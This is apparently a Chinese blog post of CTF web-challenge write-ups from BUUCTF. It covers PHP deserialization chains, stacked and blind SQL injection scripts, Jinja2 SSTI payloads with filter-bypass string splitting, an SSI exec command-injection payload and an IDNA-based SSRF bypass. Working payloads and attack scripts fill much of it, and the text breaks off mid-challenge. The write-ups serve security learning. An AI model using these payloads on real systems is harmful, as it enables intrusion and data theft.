程序员的资源宝库

网站首页 > gitee 正文

buu假期刷题(假期必刷题大一轮衔接)

sanyeah 2024-04-01 11:40:25 gitee 6 ℃ 0 评论

web

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");   //提示包含一个flag.php文件,我们的目的就是读取这个flag文件

highlight_file(__FILE__);

class FileHandler {   //定义一个FileHandler类

    protected $op;
    protected $filename;                   //protected表示受保护的,只有本类或子类或父类中可以访问;
    protected $content; 

    function __construct() {         //定义一个__construct()函数为变量赋值
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();         //调用process函数
    }

    public function process() {    //定义一个process函数
        if($this->op == "1") {
            $this->write();            //如果op=1调用write函数
        } else if($this->op == "2") {
            $res = $this->read();            
            $this->output($res);       //如果op=2调用read函数并赋值给$res,且将$res传给给output函数
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {              //定义一个write函数
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {          ///对content的长度做出限制
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);//file_put_contents() 函数把一个字符串写入文件中
            if($res) $this->output("Successful!");                    //将content写入到fliname文件里面
            else $this->output("Failed!");       //判断是否写入成功
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {              //定义一个read函数
        $res = ""; 
        if(isset($this->filename)) {           
            $res = file_get_contents($this->filename);  //把文件赋值给$res
        }
        return $res;     //返回$res的内容
    }

    private function output($s) {       //定义一个output函数
        echo "[Result]: <br>";  
        echo $s;
    }

    function __destruct() {      //定义一个 __destruct()函数  销毁对象时调用此方法
        if($this->op === "2")
            $this->op = "1"; 
        $this->content = "";
        $this->process(  );
    }

}

function is_valid($s) {    //定义一个is_valid函数,函数规定字符的ASCII码必须是32-125
    for($i = 0; $i < strlen($s); $i++)        
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))       //ord() 函数是 chr() 函数(对于8位的ASCII字符串)或                                                                     unichr() 函数(对于Unicode对象)的配对函数,它以一个字符                                                              (长度为1的字符串)作为参数,返回对应的 ASCII 数值,或者                                                                 unicode 数值,如果所给的 Unicode 字符超出了你的 Python                                                                  定义范围,则会引发一个 TypeError 的异常
           return false;
    return true;
}

if(isset($_GET{'str'})) {                                //定义一个get传参参数str

    $str = (string)$_GET['str'];                //将str转化成字符串
    if(is_valid($str)) {                       //对$str进行is_valid判断
        $obj = unserialize($str);             //对$str进行反序列化       
    }

}

对代码进行审计,代码里面有read函数,我们可以构造条件去读取flag.php文件

要想调用read函数需要先调用process函数

调用proces函数的入口有 __destruct() 和__construct()函数,但是在执行反序列化首先会调用destruct函数,因为在进行反序列化时会销毁对象,于是会调用destruct函数。

代码中对对象进行了反序列化操作,所以变量已经进行了序列化

构造序列化代码:

构造payload:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

[GYCTF2020]Blacklist

类似于强网杯的随便注,尝试联合查询发现返回了黑名单

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

过滤了union select 所以这里没办法使用联合查询

使用堆叠注入

查询库名 1';show databases;

? 或者报错注入 1'and (extractvalue(1,concat(0x7e,(database()),0x7e)))--+

查询表名 1'; show tables;

查询列名 1'; show coulmns from FlagHere --+

但是由于select union 被过滤所以这里不能使用他们查询flag

这里可以调用hander函数

通过HANDLER tbl_name OPEN打开一张表,无返回结果,
实际上我们在这里声明了一个名为tb1_name的句柄。

通过HANDLER tbl_name READ FIRST获取句柄的第一行,
通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

通过HANDLER tbl_name CLOSE来关闭打开的句柄。

查询flag

1';handler FlagHere open;handler FlagHere read first;Handler FlagHere close;#

[CISCN2019 华北赛区 Day2 Web1]Hack World

同样是sql注入,但是这个是个盲注,同时考察了异或注入

sql中的^是异或判断
当两边相同的时候,输出值为0,如1^1=0
1^0=1

输入1(ascii(substr((select(flag)from(flag)),1,1))>x)1,这里x是一个未知数,不断改变x的值,便可根据回显逐渐爆破出flag
如果 ascii(substr((select(flag)from(flag)),1,1))>0 为真
相当于111
如果 ascii(substr((select(flag)from(flag)),1,1))>0 为假
相当于101

通过这个构造脚本使用盲注得到flag

import requests
import time

url = "http://d5d88314-27e4-43cf-a7b4-802508698555.node3.buuoj.cn/index.php"
payload = {
    "id" : ""
}
result = ""
for i in range(1,100):
    l = 33
    r =130
    mid = (l+r)>>1
    while(l<r):
        payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
        html = requests.post(url,data=payload)
        print(payload)
        if "Hello" in html.text:
            l = mid+1
        else:
            r = mid
        mid = (l+r)>>1
    if(chr(mid)==" "):
        break
    result = result + chr(mid)
    print(result)
print("flag: " ,result)

附带一个跑了一半失败的脚本脚本还是值得学习的

import requests

url = "http://web43.buuoj.cn/index.php"

result = ''
for i in range(1, 38):
    for j in range(0, 256):
        payload = '1^(cot(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))>' + str(j) + '))^1=1'
        print(payload)
        r = requests.post(url, data = {'id': payload})

        if r.text.find('girl') == -1:
            result += chr(j)
            print(j)
            break

print(result)

[GYCTF2020]Easyphp

<?php
error_reporting(0);                       //关闭错误报告
session_start();                         //开启Session功能
function safe($parm){   //定义了一个过滤池
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm); //这里会将$parm里面的$array池里面的替换为hacker
}
class User             //定义一个用户类
{
    public $id;        //定义id
    public $age=null;   //定义age并初始化为null
    public $nickname=null; //定义nickname并初始化为null
    public function login() {  //定义一个login函数
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl(); //定义一个dbCtrl对象并赋值给$mysqli
        $this->id=$mysqli->login('select id,password from user where username=?'); //类似于一个执行sql查询的语句
        if($this->id){
        $_SESSION['id']=$this->id;  //利用session变量存储特定用户的id信息
        $_SESSION['login']=1;       //储存用户的login信息并赋值为1
        echo "你的ID是".$_SESSION['id'];    //输出用户id信息
        echo "你好!".$_SESSION['token'];  //输出用户token信息
        echo "<script>window.location.href='./update.php'</script>"; //输出一个定义的链接php文件(/update.php)
        return $this->id;   //返回id值
        }
    }
}
    public function update(){            //定义了一个update函数
        $Info=unserialize($this->getNewinfo());    //对getNewinfo()进行反序列化并赋值给$info
        $age=$Info->age;   //调用对象属性
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){           //定义getNewInfo()函数
        $age=$_POST['age'];                 //post传入一个age变量
        $nickname=$_POST['nickname'];       //post传入一个nickname变量
        return safe(serialize(new Info($age,$nickname)));//对info中age和nickname进行序列化并进行过滤检查并并返回值
    }
    public function __destruct(){      //定义__destruct()函数
        return file_get_contents($this->nickname);//危       返回读取的nickname值
    }
    public function __toString()   //定义 __toString()函数
    {
        $this->nickname->update($this->age);   //把update函数中的age值赋值给nickname
        return "0-0";
    }
}
class Info{                   //定义一个info类
    public $age;
    public $nickname;
    public $CtrlCase; //定义了三个属性变量
    public function __construct($age,$nickname){    //定义一个__construct函数为对象赋值
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){   //定义一个__call()函数传值给$CtrlCase
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{          //定义一个UpdateHelper类
    public $id;
    public $newinfo;
    public $sql; //定义三个属性变量
    public function __construct($newInfo,$sql){    //对$newInfo 和 $sql进行传值
        $newInfo=unserialize($newInfo);  //对输入的$info进行反序列化
        $upDate=new dbCtrl(); //创建一个dbCtrl()并赋值给$upDate
    }
    public function __destruct() //定义一个 __destruct()函数并输出$sql
    {
        echo $this->sql;
    }
}
class dbCtrl          //定义一个dbCtrl类
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct() //定义一个__construct()函数对变量进行post传参
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)//定义一个login函数实现登录功能
    {                                                  //创建一个mysqli类并赋值给$mysqli变量
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database); 
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {   //执行对登录的验证从而实现登录
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

BJDCTF2020]The mystery of ip

1

打开页面

进入flag页面

看看hint页面

并没有什么东西,burp抓包,添加xf头

发现ip被改变,猜测存在任意命令执行漏洞,在xf头出输入{system('ls /')},发现成功执行

查看flag文件

模板注入:

[GYCTF2020]FlaskApp

1

同样是一个ssti模板注入

打开题目

就是执行一个base64的加解密,提示里面什么也没有

但是在解密页面输入任意字符会进入debug页面

可以解码页面的部分源码

@app.route('/decode',methods=['POST','GET'])

def decode():

    if request.values.get('text') :

        text = request.values.get("text")

        text_decode = base64.b64decode(text.encode())

        tmp = "结果 : {0}".format(text_decode.decode())

        if waf(tmp) :

            flash("no no no !!")

            return redirect(url_for('decode'))

 [Open an interactive python shell in this frame]         res =  render_template_string(tmp)

这里是对获取的text参数进行检查,如果没有过waf会输出nonono!如果绕过waf会执行代码,所以这里我们可以尝试ssti注入

首先测试是否存在ssti注入

{{7+7}} base64:e3s3Kzd9fQ==(在尝试77是输出了nono ,猜测被过滤了)

执行解密:

所以这里直接执行命令payload:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

但是在执行时仍然输出nono,通过测试过滤了,flag,os,popen等字符,通过拼接字符绕过waf

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

得到根目录下面文件

然后直接读取flag文件

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl"+"ag.txt").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

flag{42baca1d-208d-46b6-9233-478ce9b21109}

[BSidesCF 2019]Kookie

1

打开是一个登录框,最初没看提示直接当作sql注入来做,但是发现不行,然后看见了提示

提示说要一admin用户登录,然后我直接一admin登录,但是登录失败,因为密码不对

提示我们使用admin账户登录,并且存在cookie/monster两个账户?
抓包添加Cookie: username=admin即可得到flag

flag{85c031ba-c20b-4f12-a7ca-bdbfb324ab84}

[BJDCTF2020]EasySearch

1

扫描一些目录,访问index.php.swp得到源码

<?php
	ob_start();//打开缓冲区
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;//uniqid函数生成一个id
		return sha1($content); //对$content进行sha1加密
	}
    header("Content-Type: text/html;charset=utf-8");//可能是要求了请求头的一个格式
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )//post传参参数username
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {//substr对post传进的参数password的md5进行截取0,6位判断是否与$admin相等
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".ge_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>
ob_start()函数

ob_start()函数用于打开缓冲区,比如header()函数之前如果就有输出,包括回车/空格/换行/都会有"Header had all ready send by"的错误,这时可以先用ob_start()打开缓冲区PHP代码的数据块和echo()输出都会进入缓冲区而不会立刻输出

mt_rand函数

mt_rand(min,max)
mt_rand() 使用 Mersenne Twister 算法返回随机整数。
uniqid() 函数

uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。

要求post传参值md5加密后前六位于$admin值相同

大佬脚本:

import hashlib

for i in range(1000000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

    if a[0:6] == '6d0bc1':
        print(i)
        print(a)
        #输出:2020666
6d0bc1153791aa2b4e18b4f344f26ab4
2305004
6d0bc1ec71a9b814677b85e3ac9c3d40
9162671
6d0bc11ea877b37d694b38ba8a45b19c

构造paylaoad:username=admin&password=2020666

访问响应报文里面的地址

发现回显了用户名admin,而且网页文件是一个shtml文件,然后可以尝试使用SSI 远程命令执行漏洞。

命令格式:

所以可以使用这个漏洞读取文件:

payload:

username=&password=2020666

然后去读取flag文件

payload:

username=<!--#exec cmd="cat flag_990c66bf85a09c664f0b6741840499b2--"-->&password=2020666

得到flag

[0CTF 2016]piapiapia

1

代码审计:

config.php

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>//很明显目的是为了访问config.php从而得到flag
index.php
<?php
	require_once('class.php');//包含一个class.php文件
	if($_SESSION['username']) { //获取username值,如果username存在则向客户端传一个报头
		header('Location: profile.php');//header() 函数向客户端发送原始的 HTTP 报头。
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];////判断账号和密码的格式是否正确

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');    //判断用户名的长度是否符合,不符合结束

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');//判断密码的长度是否符合,不符合结束

		if($user->login($username, $password)) {//调用class.php中user类的login方法,然后再用user的父类进行过滤
			$_SESSION['username'] = $username; //存一个username的session变量
			header('Location: profile.php');
			exit;	
		}
		else {//不符合则输出
			die('Invalid user name or password');
		}
	}
	else {
?>
    
    
    header()函数:
    header() 函数向客户端发送原始的 HTTP 报头。
    格式:header(string,replace,http_response_code)
    string	必需。规定要发送的报头字符串。
      replace	可选。指示该报头是否替换之前的报头,或添加第二个报头。默认是 TRUE(替换)。FALSE(允许相同类型的多个报头)。
http_response_code	可选。把 HTTP 响应代码强制为指定的值。(PHP 4.3 以及更高版本可用)

    
    
    
    
    
    
    
    
    

profile.php

<?php
	require_once('class.php');//包含一个class.php文件
	if($_SESSION['username'] == null) { //判断seesion中储存的username值是否为空,判断是否第一次登录
		die('Login First');	////如果还没有登录则提示先登录。
	}
	$username = $_SESSION['username'];   //存一个username的session变量
	$profile=$user->show_profile($username);//调用class.php中的user类使用show_profile方法,查找账户,并返回个人信息
	if($profile  == null) {   //如果个人信息不存在,则到update.php页面
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);//对个人信息$profile进行反序列化
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>//file_get_contents() 函数把整个文件读入一个字符串中。
    //读取photo,并进行base64加密
    //可以利用这个file_get_contents()函数读取config.php文件,输出flag
    
    photo不可控,但是nickname值可控,我们可以通过控制nickname使photo等于config.php
    构造payload:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

多个where是为了绕过preg_replace函数,因为hacker是六个字符,where是五个,会多出一个字符所以构造一定数量的where,可以构造出字符串逃逸
nickname[]是为了绕过对名称长度的限制

    
    
    
    
    
    

update.php

<?php
	require_once('class.php');//包含一个class.php
	if($_SESSION['username'] == null) {  //判断是否登录,提示登录
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];//存一个username的session变量
		if(!preg_match('/^\d{11}$/', $_POST['phone']))//对参数phone传进了的字符进行一个正则匹配,要求匹配十一次都是数字
			die('Invalid phone');//对电话号码的一个验证

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');//对邮箱格式的一个正则匹配
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');//使用正则对nicknaeme的一个过滤和对nickname长度的要求
                    //匹配昵称,开头不是大小写字母或数字,且长度小于10则die,但是使用数组可以绕过
		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)//判断图片大小
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));//将上传的文件移动到/upload下面,并对文件名进行md5加密
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);
                //文件名为upload/+md5(name)
		$user->update_profile($username, serialize($profile));    //调用clas.php的user类update_profile方法对数据库进行更新,并且把profile数组序列化
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>
    
    
    
    /^\d{11}$/://表示正则;
                ^表示开始
                 $表示结尾
                 \表示数字
                 d{11}表示字符串长度为11
                 表示每次匹配都是数字

//move_uploaded_file() 函数将上传的文件移动到新位置

class.php

<?php
require('config.php');//包含一个config.php文件

class user extends mysql{//创建了一个user类并继承于mysql类
	private $table = 'users'; //创建了一个users的表名

	public function is_exists($username) {  //定义一个is_exists方法,进行对用户一个查询判断用户是否存在
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {  //定义了一个register方法,
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');//为$key_list创建一个数组,里面包含有username,和password
		$value_list = Array($username, md5($password));//同样是创建一个数组,不过会对元素password进行md5加密
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {//login功能的实现
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {//密码匹配正确成功登录
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {//实现对个人账号的一个查找,并返回个人信息
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {//实现对个人信息的一个更新
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql { //mysql类
	private $link = null;

	public function connect($config) {//实现对数据库的一个连接
		$this->link = mysql_connect(//mysql_connect() 函数打开非持久的 MySQL 连接
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);      //  mysql_select_db() 函数设置活动的 MySQL 数据库
		mysql_query("SET sql_mode='strict_all_tables'");//mysql_query() 函数执行一条 MySQL 查询。

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {//实现sql查询的功能
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {//实现一个插入功能
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {//对输入的字符进行一个检查,并对过滤的字符进行一个正则匹配替换
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();//会话开始
$user = new user();//创建一个对象
$user->connect($config);//返回数据库信息
//array:为对象创建一个数组





register.php

<?php
	require_once('class.php');//包含一个class.php文件
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) //判断name长度
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) //判断密码长度
			die('Invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);//判断是否输入用户名是否已经存在
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>

  photo不可控,但是nickname值可控,我们可以通过控制nickname使photo等于config.php
    构造payload:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

多个where是为了绕过preg_replace函数,因为hacker是六个字符,where是五个,会多出一个字符所以构造一定数量的where,可以构造出字符串逃逸
nickname[]是为了绕过对名称长度的限制

访问profile.php

查看网页图片源码

对base64编码进行解码

base64编码:PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezY2NGU0MmRiLWRjYjgtNDA3Mi04ZDVhLWIxNzRkMmI0YTJkNn0nOwo/Pgo=

解码:<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{664e42db-dcb8-4072-8d5a-b174d2b4a2d6}';
?>

[SUCTF 2019]Pythonginx

1

打开题目f12看源码

        @app.route('/getUrl', methods=['GET', 'POST'])//定义一个路由/geturl
def getUrl():
    url = request.args.get("url")//获取前端表单传递的url值
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
    </code>
    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? -->
            
            前两个if不能等于suctf.cc第三个if可以,构造payload:
            ?url=file://suctf.c?sr/local/nginx/conf/nginx.conf
           
            ?sr 绕过过滤
            
            下面是大佬的一个脚本,能跑出来一些可以字符绕过
                from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass


def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False

if __name__=="__main__":
    get_unicode()
      
        
        #输出:str: ? unicode: \u2102
str: ? unicode: \u212d
str: ? unicode: \u216d
str: ? unicode: \u217d
str: ? unicode: \u24b8
str: ? unicode: \u24d2
str: C unicode: \uff23
str: c unicode: \uff43

    https://xz.aliyun.com/t/6070
https://www.cnblogs.com/cimuhuashuimu/p/11490431.html

得到flag位置,访问flag

nginx重要文件的位置:

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

[BSidesCF 2019]Futurella

1

打开题目,有几行未知文字,而且能够复制

想着是什么编码,复制去网上搜,刚粘贴上flag就出来了

Resistance is futile! Bring back Futurella or we'll invade! Also, the flag is flag{c4bd3974-d88d-4bf1-a002-e385079fd570}

源码中也有flag,妥妥签到

[CISCN2019 华东南赛区]Web11

1

smarty ssti模板注入

打开题目

根据这猜测是smart模板注入

且注入点是xf头

尝试注入成功

查看根目录文件

查看flag文件

"flag{cb437c21-179b-42e0-b084-e6cedde0d101}

[极客大挑战 2019]FinalSQL

1

盲注

这是一道盲注题,但是sqlmap跑不出来,应该是过滤东西了

python脚本:

import requests
import time

url = "http://dc8e7051-04f1-4302-a187-a773d47203f9.node4.buuoj.cn:81/search.php"
temp = {"id": ""}
column = ""
for i in range(1, 1000):
    time.sleep(0.06)
    low = 32
    high = 128
    mid = (low + high) // 2
    while (low < high):
        # 库名
        # temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid)
        # 表名
        # temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
        # 字段名
        # temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
        # 内容
        temp["id"] = "1^(ascii(substr((select(group_concat(id,username,password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)
        r = requests.get(url, params=temp)
        time.sleep(0.04)
        print(low, high, mid, ":")
        if "Click" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 127):
        break
    column += chr(mid)
    print(column)

print("All:", column)


#输出:1mygodcl4y_is_really_amazing,2welcomewelcome_to_my_blog,3sitehttp://www.cl4y.top,4sitehttp://www.cl4y.top,5sitehttp://www.cl4y.top,6sitehttp://www.cl4y.top,7Sycwelcom_to_Syclover,8finallycl4y_really_need_a_grilfriend,9flagflag{e87b95a2-e396-4d88-ac52-28a596b890b3}

[NPUCTF2020]ReadlezPHP

1代码审计,序列化与反序列化

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){//这个函数会回显时间,我们可以利用这个函数获取flag
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]); //对get传进去的data数据要进行反序列化

#构造序列化链:
    
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "phpinfo()";
        $this->b = "assert";    
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);  //这里是序列化的核心,这样就可以组成assert(phpinfo()),从而执行命令了
    }
}
$c = new HelloPhp;
print(serialize($c));

//输出:O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}


然后直接搜flag就行

[MRCTF2020]PYWebsite

1XF头添加

打开提示说要购买才给flag,想着是修改价格或者折扣之类的,但是抓包也没找到,然后直接访问flag.php

这句话提示我们是不是要添加xf头伪造一个ip

flag{bc4a2aba-954c-4aae-ba0a-c91faa2a142e}

[MRCTF2020]Ezpop

1 代码审计

 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier { //
    protected  $var;
    public function append($value){  //定义了一个函数,用于包含文件
        include($value);//这里是读取flag的关键,让其包含flag文件利用为协议读取
    }
    public function __invoke(){ //包含文件var
        $this->append($this->var);
    }
}

class Show{      
    public $source;
    public $str;
